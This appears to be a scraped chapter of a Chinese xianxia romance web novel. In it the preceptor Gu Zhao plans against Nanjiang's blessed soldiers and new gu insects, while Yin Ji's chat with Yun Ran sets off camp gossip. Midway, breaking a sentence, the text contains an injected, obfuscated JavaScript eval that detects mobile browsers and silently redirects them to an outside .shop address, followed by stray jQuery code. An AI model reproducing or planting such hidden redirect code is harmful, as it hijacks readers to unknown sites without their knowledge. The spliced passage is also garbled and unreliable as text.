“国师不用太过担心的,哪有这么糟,国师一定会拦住南疆的对不对?”
殷寂安慰着顾昭。
“嗯,会的,睡吧。”顾昭闭着眼,将殷寂搂紧。
殷寂安稳地在顾昭怀里睡着,呼吸一点点变浅。
顾昭不知道有什么感想,或许是迷茫吧?邪神还在虎视眈眈,叶凌又死的蹊跷,她不知道能护得住他几时。
如果殷寂死了自己该怎么办,可殷寂迟早是会死的,不能一直留在身边的,也许真如师姐所说的一般,殷寂会成为自己的心劫吧……
只能尽力地让他活得久一点,再久一点……久到做好了离别的准备。
顾昭轻轻吻向殷寂的额头,压下心中的忧虑。
相拥而眠直至天明。
清晨,殷寂更先醒来,见顾昭还沉沉睡着,手便不由自主的伸向顾昭的脸,他也想戳一戳顾昭的脸颊,看看是什么手感。
刚碰上去,顾昭便醒了,抓住殷寂的手,声音还有几分刚睡醒的沙哑,“干嘛?”
“国师还不起?”殷寂指着侧窗,“日头多高了?”
“再睡会……”顾昭回的迷迷糊糊的。
殷寂趁机捏上顾昭的脸颊,“国师也会赖床。”
“嗯……”顾昭任由殷寂揉捏,并不做其他反应,昨夜想了许多事,今天实在是困倦。
殷寂越揉越过分,将顾昭的脸都搓红了才停手,“国师昨夜是没睡吗?”
“嗯……”
顾昭有气无力的回着。
“那国师睡吧。”殷寂又躺下了,贴在顾昭身边。
一直到了午后二人才起身。
殷寂问:“仙人不是不怎么睡觉的吗?”
“是,但是前阵子伤了些元气,要补一下,睡觉来补元。”顾昭整理着衣物,她今天还要找吴魁他们议事。
殷寂凑到顾昭身前,“国师,我想出去逛逛。”
“行。”
殷寂十分兴奋,他没想到顾昭这么轻易就答应了,又不确定似的问道,“真的?”
“真的。”顾昭拍了拍衣袖,将自己料理干净,“你是要自己走,还是跟着我?”
“我想想。”殷寂若有所思,又想跟着顾昭又想独自出去打听顾昭这些日子发生了什么,纠结了许久才道,“我自己出去走走吧!”
“行。”顾昭走到桌案前,从一个小匣子里抽出一张符来,折了折便交给殷寂,“护身符,贴身带好。”
“好。”殷寂小心翼翼的接下,收进了怀里,“国师有事便去吧,我自己可以的!”
顾昭点头,出了帐子,往中军帐去了,樊雾一行人早早便坐在那里了,似是与吴魁已经商议了一轮了。
秦柒也在,他现在已经不是一个普通小兵了,托顾昭的福,现在他在军中主要干些传令的事。
“昭昭来了!”余泠招着手。
顾昭问:“你们商议出什么了吗?”
容鸢答道:“有一些头绪了,南疆那边说是有什么神明赐福,反正现在士气大涨。”
“估计又是什么阴损招数,赐福的话……传来的消息是这么说的,说的是接受赐福的士兵气力大涨,徒手举牛。”
顾昭皱眉,“有些麻烦,有多少人接受赐福?”
“三千。”
三千人,说多不多,说少也不少。
“还有……”容鸢表情说不上好看,“他们研制了一批新的蛊虫,不怎么容易受我影响,而且我也不清楚这批蛊虫的弱点。”
“你们有什么打算吗?”顾昭问。
吴魁答:“暂时的想法是国师与樊大人冲锋,余大人做防护,容大人远攻。”
顾昭点头,“可行。”
余泠:“我想的是研究一个阵法,邪神可以赐福增强体魄,那阵法也可以有一定的增益,不过这要研究一下,毕竟从前还没有用在凡人身上的阵法。”
“行,我先跟你一起研究。”
顾昭又道:“不过我们得先做一些护体的法阵,特别是驱蛊一类的。”
“没见过怎么防?”余泠有些头大,转头询问容鸢,“他们有多少新蛊虫?”
容鸢有些心烦,“不多,千余只。”
“啧……”余泠又问,“你挡的下来吗?”
“……我尽力。”
容鸢也觉得头大。
“排兵布阵什么的,到时候跟着阵法来。”余泠看向吴魁,“将军意下如何?”
吴魁连忙表态,“我没意见,全凭吩咐。”
“行,那昭昭,我们先研究阵法去吧。”余泠拉着顾昭走向沙盘,在上面写写画画起来。
一边画一边皱眉,涂涂改改。
殷寂这边挺悠闲,大摇大摆的走着,兵士无一不好奇的看向他。
云冉八卦之心熊熊燃起,走到殷寂跟前问道:“您是国师家中人?”
殷寂一看终于有人找他搭话了,摆出一副亲近姿态,十分矜持的点点头,“是。”
云冉将殷寂引到阴凉处坐着,十分狗腿的问:“您同国师是……”
“我……”殷寂想了许久,都没想到一个合适的称呼,于是便卖了个关子,“你猜?”
“哎呀!”云冉很想知道这位国师的八卦,她原以为国师应该是个孤家寡人才对,毕竟总感觉国师有种上位者的压迫感,虽然对他们还是很和颜悦色的,没什么架子,但还是很有压迫感。
云冉实在想象不出来国师会和什么样的人成家?
“国师近日过的还好吗?”殷寂问。
云冉觉得没什么好隐瞒的,一五一十的答了,“国师前阵子受了很重的伤,不过近些日子好了许多。”
殷寂瞳孔一缩,“很重的伤吗?有多重?”
“啊这……我也不太清楚,反正是晕着回来的,后面也调了些温养的药给她。”
云冉绞着衣服,她自上次一别后就没见着国师了。
“她现在好些了吗?”殷寂十分紧张的问,他就知道,顾昭报喜不报忧。
云冉想了想,“听秦柒说好是好些了,不过具体的也不太清楚。”
殷寂略松了口气,看顾昭现在的状态,应该是好了不少的。
“秦柒是谁?”
“他呀!”云冉笑了起来,“算是国师的跟班吧?国师总带着他,我也总是从他口中打听到国师的消息。”
“很亲近吗?”殷寂又问。
“也不算是吧?我也说不太清楚,反正秦柒对国师还是恭敬为主的,但像国师这么强大又闪闪发光的人,很难不让人心生仰慕啊!”
云冉又一副星星眼,语气中满是崇拜。
“这样啊……”殷寂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776057|208397||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有些吃味,“她和很多人都很亲近吗?”
“不不不!”云冉疯狂摆手,“国师虽然看着温和,但总感觉拒人于千里之外,总之,你放心啦!国师应该没那么容易变心。”
“你……”殷寂一时间不知道该说什么好了,“家中人就这么确定是那种关系?你们难道不觉得是别的吗?毕竟家中人还有兄弟什么?”
“哈?”云冉有些难以置信,“公子,你们这个关系……有些人尽皆知了,再扯上什么兄弟手足之情,有些假了。”
“毕竟……就。”云冉一时有些语无伦次,“就是你们的氛围就不一样啊。”
“我只是想问问你同国师究竟是什么关系?你是她的夫君还是其他?”
云冉越说越不好意思,这种话实在有些冒犯人了。
“我同国师……”殷寂想了想,实在想不出一个能完全定义他们两个的关系。
殷寂很想说是男宠,但貌似顾昭十分不喜欢,若是夫君,殷寂觉得自己还不够格,殷寂想了半天也没想出来,“我也不知道。”
“啊???”云冉瞳孔地震,“什么叫做你也不知道?”
云冉上下扫视着殷寂的容貌,嗯,一张脸生得白皙精致,再看看身量,嗯,身形修长细弱,啧啧啧,再看看这副神态,这副气质,这欲言又止的样子,很符合小白脸的标准。
但云冉又不敢相信,光风霁月的国师会养男宠吗?
不会的,不会的,一定不会的!
云冉一遍遍告诉自己,别乱想,但遇上这种情况很难不想歪呀。
“这……”云冉沉默半晌才纠结着说,“无名无份吗?”
“我自愿的!”
殷寂应的十分认真急切,“只要国师心中有我,我便知足了。”
“哦……”
云冉十分震惊,这不太对吧?又说不出哪里不对劲,反正总透露出一种诡异而又荒诞的感觉。
“居然是无名无份吗?”云冉喃喃自语。
她觉得国师不是这种人,至少不是这种诱骗良家少年,而又不给名分的人……
很快军中就会传起八卦。
“什么?什么叫做有人倒贴国师?”
“啊啊啊!国师这么不染凡尘的人,这样真的会有男人近身!”
“什么国师居然养男宠?”
“国师……居然是这样的人?”
顾昭忙了一天,回帐子的一路上收获了各种怪异神情,她并没有放在心上,但总感觉哪里怪怪的。
殷寂正乖巧的坐在桌案边,丝毫不知道他那一番话语掀起了怎样的波澜,只含笑看向顾昭,“国师回来了!累了吧?我给国师泡了茶。”
殷寂十分殷勤的给顾昭倒了杯茶,顾昭轻抿了一口,问道:“茶哪来的?”
“路上遇见一个叫云冉的姑娘,相谈甚欢,便找她讨了一些来。”
“哦,云冉啊,你遇上她了?”顾昭放下茶杯,“你这是逛到哪里去了?”
“就随便逛逛。”殷寂笑得很不值钱,“国师……外面都传我们的关系不一般,国师怎么看?”
“随他们传吧。”顾昭并不在意这些,甚至觉得传起来更好,这样更不容易暴露身份。
殷寂扭扭捏捏,又语带兴奋地问道:“国师这是默认了?”
“默认什么?”